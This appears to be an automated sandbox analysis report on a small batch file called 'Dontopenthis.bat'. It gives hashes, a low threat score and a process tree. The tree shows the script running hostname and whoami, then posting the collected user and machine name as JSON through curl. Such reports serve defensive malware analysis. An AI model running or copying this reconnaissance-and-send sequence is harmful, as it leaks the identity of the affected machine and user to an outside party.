3d5867708ae5ef66941a18245e345ab45bdb5a158363408313e7cc76285231c4

Analysis

user interaction
yes
max time kernel
899s
max time network
433s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/07/2026, 21:27

Target
Dontopenthis.bat
Size 1016B
Sample260705-1apyvabw2p
SHA256 3d5867708ae5ef66941a18245e345ab45bdb5a158363408313e7cc76285231c4
MD5 b2952740d6f84e1febd44d7eb76d83bb
SHA1 74e3927bca9fba8b05a765db1e2163b7a478c285
SHA512 54d454f10d3959db363feda4c6941b71f242b0d447492ecb4ad9017ed5a9603913085e1404b2e46caba83462b34466ebef3f6044dfa9f936d9f6448a521bf642
TLSH
T1FB11E1B33411E06616E30DA74E32284A7B9590930B049F84B0A3917ECF753D12277BDD
MD5 SHA1 SHA512 TLSH

Score

1^/10

defense_evasion

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4980	timeout.exe
4144	timeout.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4360	whoami.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 1616	1196	cmd.exe	86
PID 1196 wrote to memory of 3884	1196	cmd.exe	87
PID 3884 wrote to memory of 460	3884	cmd.exe	88
PID 1196 wrote to memory of 4208	1196	cmd.exe	89
PID 4208 wrote to memory of 4360	4208	cmd.exe	90
PID 1196 wrote to memory of 3276	1196	cmd.exe	91
PID 1196 wrote to memory of 4144	1196	cmd.exe	92
PID 1196 wrote to memory of 1308	1196	cmd.exe	100
PID 1196 wrote to memory of 4980	1196	cmd.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dontopenthis.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\system32\mode.com
  mode con: cols=110 lines=40
  2⤵
  PID:1616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c hostname
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\system32\HOSTNAME.EXE
    hostname
    3⤵
    PID:460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c whoami
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4360
- C:\Windows\system32\curl.exe
  curl -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"**[@Xwfpsfrw - xwfpsfrw\admin]** hi\"}"
  2⤵
  PID:3276
- C:\Windows\system32\timeout.exe
  timeout /t 3
  2⤵
  - Delays execution with timeout.exe
  PID:4144
- C:\Windows\system32\curl.exe
  curl -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"**[@Xwfpsfrw - xwfpsfrw\admin]** dsfsdf\"}"
  2⤵
  PID:1308
- C:\Windows\system32\timeout.exe
  timeout /t 3
  2⤵
  - Delays execution with timeout.exe
  PID:4980